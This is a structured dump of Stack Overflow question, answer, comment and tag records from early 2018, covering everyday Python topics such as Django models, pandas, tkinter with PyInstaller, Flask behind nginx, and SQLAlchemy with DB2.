has answer: http://stackoverflow.com/a/48744066
possible better answer: http://stackoverflow.com/a/48736173
answer count: 2
downvote count: 0
tagged with: templates
has body: My question is similar to this. I have 2 models linked with m2m field and I want to render the field in template. How can I do this when my 2 models are in different apps: apps/qapp/models class Area(models.Model): name = models.CharField(max_length=100, primary_key=True) def __unicode__(self): return self.name apps/worksheets/models class Place(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=100, primary_key=True) area = models.ManyToManyField('qapp.Area',related_name='area')
favorite count: 0
has comment: http://stackoverflow.com/comment/84470211
accepted answer: http://stackoverflow.com/a/48744066
tagged with: django
tagged with: python
type: AnsweredQuestion
tagged with: many-to-many
score: 1

http://stackoverflow.com/comment/84300865
comment on: http://stackoverflow.com/q/48650546
type: Comment
score: 0
has text: @RobertMilletich my goal is exaclty to avoid any hardcode and make fail-safe solution. I also tried trick `schema_path = os.path.join(os.getcwd(), 'schema', 'schema.json')`, but it outputs same error `FileNotFoundError: [Errno 2] No such file or directory: 'D:\\Git\\testarea-pytest\\schema\\schema.json'`, if I run command from root project folder. However it works, if I run comand from ./tests/ folder. But I need solution, that fits both ways.
type: QuestionComment

twilio
tag name: twilio
tags question: http://stackoverflow.com/q/48793001
tags question: http://stackoverflow.com/q/48735182
type: Tag

http://stackoverflow.com/a/48759540
type: Answer
answers question: http://stackoverflow.com/q/48759465
has body: The correct way to do it is to use __init__.py, setup.py and the setuptools Python package: myPackage/ myPackage/ __init__.py setup.py This link has all the steps.
upvote count: 10
downvote count: 0
score: 10

http://stackoverflow.com/q/48707117
has body: I need to get the frequency of each element in a list when the list is in a pandas data frame columns In data: din=pd.DataFrame({'x':[['a','b','c'],['a','e','d', 'c']]})` x 0 [a, b, c] 1 [a, e, d, c] Desired Output: f x 0 2 a 1 1 b 2 2 c 3 1 d 4 1 e I can expand the list into rows and then perform a group by but this data could be large ( million plus records ) and was wondering if there is a more efficient/direct way. Thanks
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48707182
possible better answer: http://stackoverflow.com/a/52629916
type: Question
upvote count: 22
downvote count: 0
accepted answer: http://stackoverflow.com/a/48707182
tagged with: pandas
has answer: http://stackoverflow.com/a/64609612
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/67125675
favorite count: 0
score: 22
has answer: http://stackoverflow.com/a/52629916
has title: Count of elements in lists within pandas data frame
linked to: http://stackoverflow.com/q/952914

memoization
type: Tag
tags question: http://stackoverflow.com/q/48699981
tag name: memoization
tags question: http://stackoverflow.com/q/48658939
tags question: http://stackoverflow.com/q/48786234

http://stackoverflow.com/q/48739320
tagged with: python
has body: I was reading a code of 2048 game and came across the following snippet def up(game): print("up") # return matrix after shifting up game=transpose(game) game,done=cover_up(game) temp=merge(game) game=temp[0] done=done or temp[1] game=cover_up(game)[0] game=transpose(game) return (game,done) according to my understanding, game is a matrix that is passed to a function that executes multiple function to preform up logic on the game. I am not able to understand the line game,done=cover_up(game) done is a boolean variable. My other doubt is done=done or temp[1] Temp is a temporary variable for the matrix. boolean = True/false OR Matrix this doesn't make sense to me. Please help me with the following syntax I am new to python. Thank you
tagged with: syntax
answer count: 0
upvote count: 2
score: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84478312
has comment: http://stackoverflow.com/comment/84478354
favorite count: 0
tagged with: http://stackoverflow.com/tag/2048
has title: python 2048 implementation
type: UnansweredQuestion

http://stackoverflow.com/comment/97042777
type: Comment
comment on: http://stackoverflow.com/a/49043107
has text: Isn't this missing the context of how `get_include()` is called?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84484541
type: QuestionComment
comment on: http://stackoverflow.com/q/48739457
has text: Also, between Python 2.7.10 and 3.5.2 on my machine, I see a difference in output of the same code above. This is possibly due to changes in PyObject types and in the random code itself between versions, but I suspect there could be compiler/machine dependencies as well.
score: 0
type: Comment

http://stackoverflow.com/comment/84467557
score: 0
type: AnswerComment
type: Comment
has text: Thanks Nathan for the alternative
comment on: http://stackoverflow.com/a/48734074

http://stackoverflow.com/q/48682310
upvote count: 3
possible better answer: http://stackoverflow.com/a/48682637
tagged with: windows
downvote count: 1
has comment: http://stackoverflow.com/comment/84364008
has comment: http://stackoverflow.com/comment/84362415
has comment: http://stackoverflow.com/comment/112341990
favorite count: 0
has body: I have a scraping script of where im using tkinter for ui. When i build the exe(with pyinstaller) and open it it working well, But When i close it, it opens multiple instance of tkinter Window. I cant paste the full code. So i pasted all the tkinter code i am using. Here is the Full code Github Gist here import requests from lxml import html from tkinter import * import tkinter as ttk import re import datetime import os from firebase import firebase import hashlib #import App as App from selenium import webdriver from selenium.webdriver.common.keys import Keys import time #Region Tk root = Tk() root['height'] = 400 root['width'] = 600 global firebase firebase = firebase.FirebaseApplication('#######URL####',None) f1 = Frame(root) f1["height"] = root["height"] f1["width"] = root["width"] root.title("JD Scraper - Gear Up Studio ") Label(f1,text = "Input Url : Example : https://www.justdial.com/Ahmedabad/Gyms ").grid(row=0,column = 0,) def getBool(event): print(boolvar.get()) #Check Button global boolvar boolvar = BooleanVar() boolvar.set(False) boolvar.trace('w', lambda *_: print("The value was changed")) cb = Checkbutton(f1, text = "Tele Phone number", variable = boolvar) cb.bind("<Button-1>", getBool) cb.grid(row=1, column=1) global key_filled key_filled = Entry(f1,width=50) key_filled.grid(row=2,column=0) key_filled.focus_set() global activate_button activate_button = Button(f1 , text="Active Now") activate_button.bind("<Button-1>",activate_key) activate_button.grid(row=2, column=1) result = Label(f1, width=50) result.grid(row=1,column=2) global submit_button submit_button = Button(f1 , text="Scrape Now") submit_button.bind("<Button-1>",button_clicked) submit_button.grid(row=1, column=0) submit_button.config(state=NORMAL) key_validation() f1.pack() root.mainloop() Demo Video here
tagged with: tkinter
has title: Python Pyinstaller exe opens multiple instance of tkinter window, Python Firebase [Video]
tagged with: pyinstaller
has comment: http://stackoverflow.com/comment/84363789
tagged with: python
has comment: http://stackoverflow.com/comment/112349289
tagged with: exe
accepted answer: http://stackoverflow.com/a/54884320
score: 2
has answer: http://stackoverflow.com/a/48682637
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84362658
has answer: http://stackoverflow.com/a/54884320
has comment: http://stackoverflow.com/comment/84361880
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84362911

http://stackoverflow.com/q/48757083
tagged with: flask
has answer: http://stackoverflow.com/a/48763573
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/84586152
accepted answer: http://stackoverflow.com/a/48763573
has comment: http://stackoverflow.com/comment/84586058
favorite count: 0
possible better answer: http://stackoverflow.com/a/48794623
has answer: http://stackoverflow.com/a/48794623
has comment: http://stackoverflow.com/comment/84591536
tagged with: python
has title: nginx gives 502 for non handled exception 500 error in flask
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/21784601
has comment: http://stackoverflow.com/comment/84516650
upvote count: 1
downvote count: 1
tagged with: uwsgi
has body: I am running a Flask application and using uwsgi socket nginx configuration. This may be a stupid question but the issue I am facing is that whenever there is exception raised in Flask code (non handled exception for example 1/0), my nginx gives 502 instead of 500. I wanted to know if raising the exception is not getting propagated to nginx as 500 from uwsgi unix socket by default or do I need to specify this explicitly? Somewhere I read that for exceptions, Flask doesn't raise 500 error message automatically. Any comments will be helpful. Thanks.
type: Question
tagged with: nginx
has comment: http://stackoverflow.com/comment/84534748
has comment: http://stackoverflow.com/comment/84517438

http://stackoverflow.com/a/66559361
has comment: http://stackoverflow.com/comment/132093509
downvote count: 1
upvote count: 20
answers question: http://stackoverflow.com/q/48735671
has comment: http://stackoverflow.com/comment/138120410
type: Answer
has body: Esc :%s/\t/ /g It means to replace the tab with 4 spaces. Hit Enter Esc :wq
has comment: http://stackoverflow.com/comment/138103355
has comment: http://stackoverflow.com/comment/132089119
score: 19

http://stackoverflow.com/q/48721295
tagged with: django-views
has comment: http://stackoverflow.com/comment/84441778
has title: docx file downloaded from Django is corrupt
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84441965
possible better answer: http://stackoverflow.com/a/48722150
has answer: http://stackoverflow.com/a/48722139
has comment: http://stackoverflow.com/comment/84441472
score: 2
has answer: http://stackoverflow.com/a/48722150
downvote count: 0
linked to: http://stackoverflow.com/q/19400089
has body: Im trying to take user input from a form and then using that data to create a document using python docx module. But the downloaded file is not opening in MS word. It says the file is corrupt. Can someone help me with this? def resume_form(request): form = forms.resume() if request.method == 'POST': form = forms.resume(request.POST) if form.is_valid(): document = Document() document.add_heading(str(form.cleaned_data['full_name']),0) document.add_heading('Summary', 1) document.add_paragraph(str(form.cleaned_data['summary'])) f = io.BytesIO() document.save(f) length = f.tell() f.seek(0) response = HttpResponse(document, content_type='application/vnd.openxmlformats-officedocument.wordprocessingml.document') response['Content-Disposition'] = 'attachment; filename=download.docx' response['Content-Length'] = length #document.save(response) return response return render(request, 'sample_app/index.html', {'form' : form})
tagged with: python
has comment: http://stackoverflow.com/comment/84441997
favorite count: 0
accepted answer: http://stackoverflow.com/a/48722139
tagged with: python-3.x
upvote count: 2
tagged with: django
tagged with: python-requests
has comment: http://stackoverflow.com/comment/84441569
type: AnsweredQuestion

http://stackoverflow.com/q/48685843
has body: Being new to deep learning world and after reading a lot of theories, I was trying to understand how does the neural net learn practically, so I provided it with simple dataset where input columns are [[x,x+y]...] and output column [[x/(x+y)]...] and tried it using tflearn but even after countless tries(2 days) the network is not able to minimize loss. Even after it minimizes(after adding tanh layer) the network predictions are way off. Can someone help me with this? Below is the code. neural_net = tflearn.input_data(shape=[None, 2]) neural_net = tflearn.fully_connected(neural_net, 1, activation='linear', bias=True) neural_net = tflearn.regression(neural_net, optimizer='sgd', learning_rate=0.001, loss='mean_square') # train model = tflearn.DNN(neural_net,tensorboard_verbose=3) model.fit(OR, Y_truth, n_epoch=1000, snapshot_epoch=False,validation_set=0.1,batch_size=10) print model.get_weights(neural_net.W) # prediction print model.predict([[2,2]]) The output prediction is 0.13946463!!
has comment: http://stackoverflow.com/comment/84386250
answer count: 1
has answer: http://stackoverflow.com/a/48687549
tagged with: python
type: AnsweredQuestion
tagged with: linear-regression
has comment: http://stackoverflow.com/comment/84369095
tagged with: tensorflow
type: Question
accepted answer: http://stackoverflow.com/a/48687549
tagged with: neural-network
tagged with: tflearn
score: 0
has title: How to write a basic neural network in tflearn for z = x/(x+y)?

convolution
tags question: http://stackoverflow.com/q/48715879
tag name: convolution
type: Tag

http://stackoverflow.com/a/48739769
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84487522
has comment: http://stackoverflow.com/comment/84480040
has comment: http://stackoverflow.com/comment/84515700
type: Answer
accepted answer of: http://stackoverflow.com/q/48738586
has body: Could you use regex to find blocks that have a second chunk of numbers within, say, 15 characters of the chunk of numbers that begins a line? import re inFile = 'C:/path/myData.txt' myregex = r'(^[.0-9e-]{1,15}[\W]{1,15}[.0-9e-])' thisBlock = [] with open(inFile, 'rb') as f: for line in f: if re.search(re.compile(myregex),line): print("Previous block finished. Here it is in a chunk:") print(thisBlock) print("\n\n\nNew block starting") thisBlock = [line] else: thisBlock.append(line) The regex expression myregex looks for 1 to 15 {1,15} characters of whitespace [\W] in between two numeric sequences [.0-9e-] -- this looks for digits 0-9, as well as decimal points, negative signs, and the exponent e. The first {1,15} in the expression assumes that your first numeric expression at the start of the row is at least 1, but less than 15, characters.
answers question: http://stackoverflow.com/q/48738586
has comment: http://stackoverflow.com/comment/84483673
score: 0
has comment: http://stackoverflow.com/comment/84494024

http://stackoverflow.com/q/48677393
tagged with: email
tagged with: python
favorite count: 0
answer count: 0
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84355629
score: 3
has body: I have an app and it has given me some errors today because an email has come through with some characters that my script/database does not like. All the script does is take the email and insert it's meta data into a database. As the script is failing, GAE StackDriver is reporting 500 errors. My question is this: does anyone know what the retry logic is? I mean, how does GAE receive email and then send it for processing. How many times will it re-process the bad email and/or how many errors will it take before it gives up on the email? Any tips, info or documentation would be great as this doesn't answer the question: https://cloud.google.com/appengine/docs/standard/python/mail/receiving-mail-with-mail-api
type: Question
linked to: http://stackoverflow.com/q/45988474
has title: Google App Engine Python Mail - error retry logic?
upvote count: 3
has comment: http://stackoverflow.com/comment/84480568
tagged with: google-app-engine

sqlalchemy
tags question: http://stackoverflow.com/q/48704000
tags question: http://stackoverflow.com/q/48776580
tags question: http://stackoverflow.com/q/48708303
tags question: http://stackoverflow.com/q/48748718
tags question: http://stackoverflow.com/q/48689682
tags question: http://stackoverflow.com/q/48764448
tags question: http://stackoverflow.com/q/48705544
tags question: http://stackoverflow.com/q/48645891
tags question: http://stackoverflow.com/q/48769568
tags question: http://stackoverflow.com/q/48761073
tags question: http://stackoverflow.com/q/48774553
tags question: http://stackoverflow.com/q/48756724
tags question: http://stackoverflow.com/q/48730154
tags question: http://stackoverflow.com/q/48787193
tags question: http://stackoverflow.com/q/48655099
tags question: http://stackoverflow.com/q/48732892
tags question: http://stackoverflow.com/q/48765323
tags question: http://stackoverflow.com/q/48667621
tags question: http://stackoverflow.com/q/48691413
tags question: http://stackoverflow.com/q/48696481
tags question: http://stackoverflow.com/q/48718675
tags question: http://stackoverflow.com/q/48804297
tags question: http://stackoverflow.com/q/48702706
tags question: http://stackoverflow.com/q/48766286
tags question: http://stackoverflow.com/q/48648549
tags question: http://stackoverflow.com/q/48739274
tags question: http://stackoverflow.com/q/48763234
tags question: http://stackoverflow.com/q/48766720
tags question: http://stackoverflow.com/q/48777567
tag name: sqlalchemy
tags question: http://stackoverflow.com/q/48725200
tags question: http://stackoverflow.com/q/48666723
tags question: http://stackoverflow.com/q/48722217
tags question: http://stackoverflow.com/q/48707999
tags question: http://stackoverflow.com/q/48686633
tags question: http://stackoverflow.com/q/48669767
tags question: http://stackoverflow.com/q/48770884
tags question: http://stackoverflow.com/q/48678499
tags question: http://stackoverflow.com/q/48754752
tags question: http://stackoverflow.com/q/48682093
tags question: http://stackoverflow.com/q/48799232
tags question: http://stackoverflow.com/q/48748070
tags question: http://stackoverflow.com/q/48711385
tags question: http://stackoverflow.com/q/48778162
tags question: http://stackoverflow.com/q/48668763
tags question: http://stackoverflow.com/q/48671368
tags question: http://stackoverflow.com/q/48668697
tags question: http://stackoverflow.com/q/48784937
tags question: http://stackoverflow.com/q/48689342
tags question: http://stackoverflow.com/q/48689007
tags question: http://stackoverflow.com/q/48659609
tags question: http://stackoverflow.com/q/48742736
tags question: http://stackoverflow.com/q/48723986
tags question: http://stackoverflow.com/q/48685978
tags question: http://stackoverflow.com/q/48747220
type: Tag
tags question: http://stackoverflow.com/q/48737407

http://stackoverflow.com/q/48709721
has body: Im trying to import 100 CSV files from this kaggle link - https://www.kaggle.com/natehenderson/nate-s-cryptocurrency-analysis/data Each file contains the historical information for a different crypto currency. Each file looks like this: How data looks like for the current analysis I only need the Market Cap Column of each of the files along with the index which is a time stamp. So for each file the only column needed is the Market Cap. Then I need to append each column &amp; replace the name of the column with the name of the file. The final result should look like this : Final Result Where each column contains the Market Cap &amp; of coarse each value should correspond with the index, and the name of the column should be the same as the name of the csv file. any ideas how I can do this?
type: AnsweredQuestion
tagged with: python-import
has answer: http://stackoverflow.com/a/48723013
accepted answer: http://stackoverflow.com/a/48723013
has title: Import multiple CSV files, select 1 Column from each file & rename the column with the file name in Jupyter Noteboos
answer count: 1
score: 0
tagged with: http://stackoverflow.com/tag/csv
tagged with: datetime
tagged with: python
tagged with: jupyter-notebook
type: Question

http://stackoverflow.com/q/48748153
tagged with: filtering
has answer: http://stackoverflow.com/a/48748517
answer count: 2
tagged with: pandas
downvote count: 0
has body: I have a data frame.It is one intermediate csv file . It has following data. sv1 val1 sv2 val2 sv3 val3 2 0.2 4 0.6 8 0.3 2 0.1 6 0.1 8 0.11 2 0.12 6 -0.3 8 0.2 5 0 4 1.6 8 0.7 2 0.34 6 2.3 8 0.12 ... .... ... .... ... ..... Aim:Addition of val1+val2+val3 if sv1,sv2,sv3 does not contain 5. If any svs column(say sv1) contain 5 then addition would be val2+val3 # Attempt import pandas as pd names=['sv1','sv2','sv3','val1','val2','val3'] df=pd.read_csv('Myfile.csv',names=names) discard_id=int(raw_input('enter the number to discard') add_result=df.loc[['sv1','sv2','sv3']!=discard_id] ..... perform addition
possible better answer: http://stackoverflow.com/a/48748517
favorite count: 0
has answer: http://stackoverflow.com/a/48748569
tagged with: python
type: AnsweredQuestion
has title: addition of three columns based on filtering and user input using pandas
score: 1
tagged with: addition
upvote count: 1
accepted answer: http://stackoverflow.com/a/48748569
type: Question

http://stackoverflow.com/a/48659900
type: Answer
has body: As stated by the documentation: The kind of response that will be used depends on the authentication scheme. Although multiple authentication schemes may be in use, only one scheme may be used to determine the type of response. The first authentication class set on the view is used when determining the type of response. Adds this extract from SessionAuthentication Unauthenticated responses that are denied permission will result in an HTTP 403 Forbidden response. And you have your answer. Either move TokenAuthentication as first DEFAULT_AUTHENTICATION_CLASSES or document the current behavior.
score: 2
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/48656995

http://stackoverflow.com/q/48698522
possible better answer: http://stackoverflow.com/a/48698608
downvote count: 1
has answer: http://stackoverflow.com/a/48698569
type: AnsweredQuestion
score: 2
has title: Python str.contains function related to other columns
upvote count: 3
accepted answer: http://stackoverflow.com/a/48698569
type: Question
answer count: 2
has body: I have a table that includes title, genre columns, and I need to change genre columns if title columns have a word blue. But the thing is I have many blue names in title, so I want to change only a specific genre type. ex: title genre title genre blue x blue x red x -------&gt; red x blue y blue ychanged red y red y I used this but this function changed all genre if title has blue df['genre'][df.title.str.contains('blue')] = 'ychanged' How can I make a specific str.contains?
tagged with: pandas
tagged with: python
has answer: http://stackoverflow.com/a/48698608
favorite count: 0

http://stackoverflow.com/a/56778506
has body: Try this, it works good: view_port_height = "var viewPortHeight = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);" element_top = "var elementTop = arguments[0].getBoundingClientRect().top;" js_function = "window.scrollBy(0, elementTop-(viewPortHeight/2));" scroll_into_middle = view_port_height + element_top + js_function driver.execute_script(scroll_into_middle, element)
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/100125147
type: Answer
answers question: http://stackoverflow.com/q/48731466
upvote count: 3

http://stackoverflow.com/comment/84316322
has text: If I understand correctly, you could own a map without ever being a member of any map. In this case you would miss some entries
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48659313
type: Comment

http://stackoverflow.com/comment/84361821
type: Comment
comment on: http://stackoverflow.com/a/48666071
has text: The host argument is required. If I try with `host=''` I get `ConnectionRefusedError: [Errno 61] Connection refused`. But I know that the acces_key and the secret are correct since I am using them in other contexts.
type: AnswerComment
score: 0

http://stackoverflow.com/a/48671631
has body: A few points (mainly a list of all the people that commented before me): temperature_range is in the form of [int, int, int], it is not a ([int, int, int], [int, int, int], [int, int, int]), so you don't need [val]. When you return(result) in the calculate_temp() function, result is not defined, I assume you meant points. result == True is a comparison, not an assignment. Check this code, it worked for me: def in_range (lowerlimit, upperlimit, value): if lowerlimit &lt;= value &lt;= upperlimit: result = True else: result = False return(result) temperature_ranges = ([1,4,11],[5,10,22],[11,20,33],[21,52,123]) def calculate_temp (temperature): for temperature_range in temperature_ranges: val = 0 # this variable is not used anymore... if in_range(temperature_range[0], temperature_range[1], temperature): points = int(temperature_range[2]) val += 1 # no need to keep it if you dont want return(points) print(calculate_temp(3))
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48671376

http://stackoverflow.com/comment/84600800
has text: @GabrielA if you check the edit history of the question you will see he update the question my answer working for the first version
type: Comment
comment on: http://stackoverflow.com/a/48647001
score: 0
type: AnswerComment

http://stackoverflow.com/q/48676017
has body: So I'm trying to retrieve all male members from a name list, it looks something like this: A B(male) C D E(male) F(male) G All strings are separated with space. The name list is saved as a txt file: name.txt I would like to have Python to read in name.txt and retrieve all males from the list, then print them out (in this case B E and F). How do I use regular expression to achieve that? Thanks!
tagged with: python
tagged with: regex
favorite count: 0
has comment: http://stackoverflow.com/comment/84350639
type: UnansweredQuestion
downvote count: 2
has title: How to use regular expression to retrieve specific text in Python
has comment: http://stackoverflow.com/comment/84350722
has answer: http://stackoverflow.com/a/48676104
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84350662
has answer: http://stackoverflow.com/a/48676256
upvote count: 0
score: -2
tagged with: text-mining

http://stackoverflow.com/comment/84327544
has text: Update your HTML sample once more: `a` node doesn't have a `@username` and `"text3"` is not a part of `a` node...
comment on: http://stackoverflow.com/q/48664034
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84432126
score: 0
comment on: http://stackoverflow.com/q/48716396
type: Comment
type: QuestionComment
has text: Well, I guess that's the problem of O(n^2) algorithms :) It will always be relatively slow given very large n. I mean maybe you can make some domain specific optimizations (like do you really need to check all i,j combinations or is `ij==ji` in your case? Maybe you could use boolean masks for checking and definitely you could write your code in c or cython (sorry I know that's not what you mean).

http://stackoverflow.com/comment/84332980
has text: Thanks Maxander, I have now solved this issue and edited the post to reflect this.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48651416

http://stackoverflow.com/a/58734447
downvote count: 0
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48745598
has body: because ctr[2] was returned by np.dot, it actually is a float, even though it may look like an int. Try int(ctr[2]) + z_idx.

http://stackoverflow.com/a/48775914
has body: Well, I did it with pandas, here's how: import pandas as pd df = pd.read_csv("yourdoc.csv") columnTitles = list(df) listOfResults = [] for eachCol in columnTitles: listOfResults.append(df[eachCol].tolist()) Then you should have a list of lists, or columns.
has comment: http://stackoverflow.com/comment/84553677
answers question: http://stackoverflow.com/q/48775786
score: 0
type: Answer

http://stackoverflow.com/comment/84492791
has text: @YuvrajJaiswal No, both these solutions produce the wrong answer.
comment on: http://stackoverflow.com/a/48745292
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48761073
tagged with: mysql
tagged with: sqlalchemy
type: Question
upvote count: 2
tagged with: db2
tagged with: pandas
favorite count: 0
has title: Insert pandas df to IBM db2
type: UnansweredQuestion
has body: I have a Pandas df with 80 columns and 45000 rows, i am using below connection to connect to DB2: from sqlalchemy import types, select, create_engine eng = create_engine('ibm_db_sa://user1:pswd1@server1:50000/my_DB') below is the code used to insert into my database, i am enforcing the datatype as i am not interested in having CLOB datatype. cols = df_final2.dtypes[df_final2.dtypes=='object'].index type_mapping = {col : types.VARCHAR(int(df_final2[col].str.len().max())) for col in cols } df_final2.to_sql(name='ePIMS_Output_varchar', con=eng, if_exists = 'replace', schema='MYDBO', index=False,dtype=type_mapping) I am getting below error when i try to insert it, i am getting this even if i use normal insert without using dtype=type_mapping Error 43455: Value parameters array 43455 is not homogeneous with privious parameters array please suggest me should i need to change datatype of any field. What does this error message mean, how can i fix it.
tagged with: python
score: 2
answer count: 0
downvote count: 0

http://stackoverflow.com/comment/84500001
score: 1
comment on: http://stackoverflow.com/q/48734926
type: Comment
type: QuestionComment
has text: @johnashu and still suggesting to drop the database is very poor advise

http://stackoverflow.com/comment/84349744
has text: would it consume much resource if checking every 0.1 sec? is it a good way to do so? do you recommend this method?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48675507

http://stackoverflow.com/a/48677748
upvote count: 2
answers question: http://stackoverflow.com/q/48677527
type: Answer
score: 2
downvote count: 0
has body: soup = BeautifulSoup(data, "lxml") container = soup.find("div",attrs={'class': 'alertWrapper'}) paragraph = container.find("p") In you above code you will be getting only first "p" tag. container.find("p") only gives you first "p" tag. And the first tag you are getting is empty one. You can check page source of that website. But actually container has multiple "p" tags in it. What you need to do is: for p in container.find_all("p"): print p.text Following is the Html content in alertWrapper class present on your website. The PWCS Parent Divisionwide surveys, sent on January 9, were unexpectedly delayed at the US Post Office distribution center. The deadline for the parent survey, both paper and online, has been extended to Friday, February 9, 2018.

http://stackoverflow.com/a/48678179
type: Answer
has comment: http://stackoverflow.com/comment/84353978
has comment: http://stackoverflow.com/comment/84353965
upvote count: 4
downvote count: 0
score: 4
has body: Since you're referring direct list, it's popping and assigning what left in list. If you have list as copy then try this:- x = [10, 11, 12, 13] a,b = x.copy(),x.pop(2) print(a) # your expected output
answers question: http://stackoverflow.com/q/48678044

http://stackoverflow.com/a/48756410
type: Answer
answers question: http://stackoverflow.com/q/48756278
has body: Think about the logic of your function. You're currently accounting for two cases: If the temperature is bigger than 90 degress, you return hot. If the temperature is less than 30 degrees, you return cold. But what if the temperature doesn't meet any of the cases above? What if the temperature isn't bigger than 90 degrees or lower than 30 degrees? See, your problem is that you're not accounting for a third possible case - the temperature is neither bigger than 90 degrees nor lower than 30, it's in between. In your function, you need to decide on a value to return if the previous two conditions failed: def temp(fahrenheit): if fahrenheit &gt; 90: return "hot" if fahrenheit &lt; 30: return "cold" else: # if 30 &lt; fahrenheit &lt; 90 is True... return 'error'
accepted answer of: http://stackoverflow.com/q/48756278
score: 0
type: AcceptedAnswer

http://stackoverflow.com/q/48647701
has title: Append images to existing video using OpenCV python
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84313936
tagged with: python
score: 2
answer count: 0
upvote count: 2
has body: Is it possible to open existing video file using cv2.VideoWriter and just append new images? If not, what is the best solution here?
type: UnansweredQuestion
type: Question
tagged with: opencv

http://stackoverflow.com/comment/84579287
score: 0
comment on: http://stackoverflow.com/q/48788645
has text: thanks @James actually i don't know more about python
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84467990
has text: Just load the pickled list, append to it, and dump it back into a pickle object. By creating a pickle, you're not makiung some object that is somehow automatically sync'd with the object. It's a serialized object so that you can load it somewhere else or at another time. If you need to modify it, load it back in, change it, then write it back out.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48734270

http://stackoverflow.com/a/48783093
accepted answer of: http://stackoverflow.com/q/48767101
answers question: http://stackoverflow.com/q/48767101
score: 0
type: AcceptedAnswer
has body: The issue here is that you don't tell the db which record to update: cur.execute("UPDATE profile SET First=?, Surname=?", (data1, data2)) so all records are updated. You need to add the record id: cur.execute("UPDATE profile SET First=?, Surname=? WHERE ID =?", (data1, data2, tree.set(selected, '#1'))) I found the answer on the website https://www.tutorialspoint.com/sqlite/sqlite_update_query.htm.
type: Answer

http://stackoverflow.com/comment/84531704
has text: After trying this, new files are produced, but when I open the excel files, they are all corrupted!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48765224
type: AnswerComment

http://stackoverflow.com/comment/84307615
comment on: http://stackoverflow.com/q/48654628
type: Comment
type: QuestionComment
has text: @Nae thanks for the link, but I'm afraid it may not related since they are using Qt4Agg backend and not TkAgg. Besides, they are asking a different thing: they WANT to draw blurred plot, which is quite opposite from what I need. :)
score: 0

http://stackoverflow.com/comment/84554395
comment on: http://stackoverflow.com/a/48773327
score: 1
type: AnswerComment
has text: Thank you, random stranger on the internet!
type: Comment

http://stackoverflow.com/q/48708002
has comment: http://stackoverflow.com/comment/84414817
type: AnsweredQuestion
score: 2
linked to: http://stackoverflow.com/q/7842919
downvote count: 0
has body: If I look for a filename pattern in perl, you can do this simple: ls -l | perl -n -e'if(/.*180205.*/){ print "$_\n"; }' -n causes Perl to assume the following loop around your program, which makes it iterate over filename arguments somewhat like sed -n or awk: LINE: while (&lt;&gt;) { ... # your program goes here } How can I code this in python3? (python3 --help shows not such option)
linked to: http://stackoverflow.com/q/38417743
has comment: http://stackoverflow.com/comment/84414917
type: Question
has comment: http://stackoverflow.com/comment/84415097
has title: Can I use in python3 something like -n pipe-option in perl?
has comment: http://stackoverflow.com/comment/84415070
tagged with: perl
accepted answer: http://stackoverflow.com/a/48708465
upvote count: 2
has comment: http://stackoverflow.com/comment/84414877
has answer: http://stackoverflow.com/a/48708465
answer count: 1
has comment: http://stackoverflow.com/comment/84415330
has comment: http://stackoverflow.com/comment/84415724
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84414975
has comment: http://stackoverflow.com/comment/84416408
tagged with: python
has comment: http://stackoverflow.com/comment/84415638
has comment: http://stackoverflow.com/comment/84415496

http://stackoverflow.com/q/48769245
type: Question
tagged with: statsmodels
upvote count: 5
answer count: 1
tagged with: missing-data
downvote count: 0
favorite count: 0
has title: Statsmodels Python Missing Values
tagged with: python
has answer: http://stackoverflow.com/a/49216480
tagged with: pca
type: UnansweredQuestion
score: 5
has body: I'm currenlty working on a project and I have to fill some missing values. I use Python, and I saw that there is an algorithm which can do missing data imputation. This algorithm is called Nipals. So, I decided to search a way to use it and I saw that statsmodels.multivariate.pca.PCA could help me. I have a numpy array named A with n rows and p columns. A has some missing values which are NaN values. I would like to use PCA to fill A. But, there are no examples which can help me to do it. Can someone help me to fill A using Nipals algorithm ? Thank you. N.B. Sorry, I'm a French beginner, it's not easy for me to use english documentations..

http://stackoverflow.com/comment/84300580
has text: You need to append in the `else`, or after the whole `if-else` section.
comment on: http://stackoverflow.com/a/48651233
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84578473
type: QuestionComment
has text: Without your code, I can't comment. Also, just Google it or search on SO. There are many answers answering your quesiton.
score: 0
comment on: http://stackoverflow.com/q/48787968
type: Comment

http://stackoverflow.com/q/48653449
linked to: http://stackoverflow.com/q/44088246
has title: How to use google speech recognition on audio streaming from a url (Python)?
score: 4
has comment: http://stackoverflow.com/comment/92952390
upvote count: 4
has comment: http://stackoverflow.com/comment/101600253
has comment: http://stackoverflow.com/comment/92872137
downvote count: 0
tagged with: speech-recognition
favorite count: 0
tagged with: python
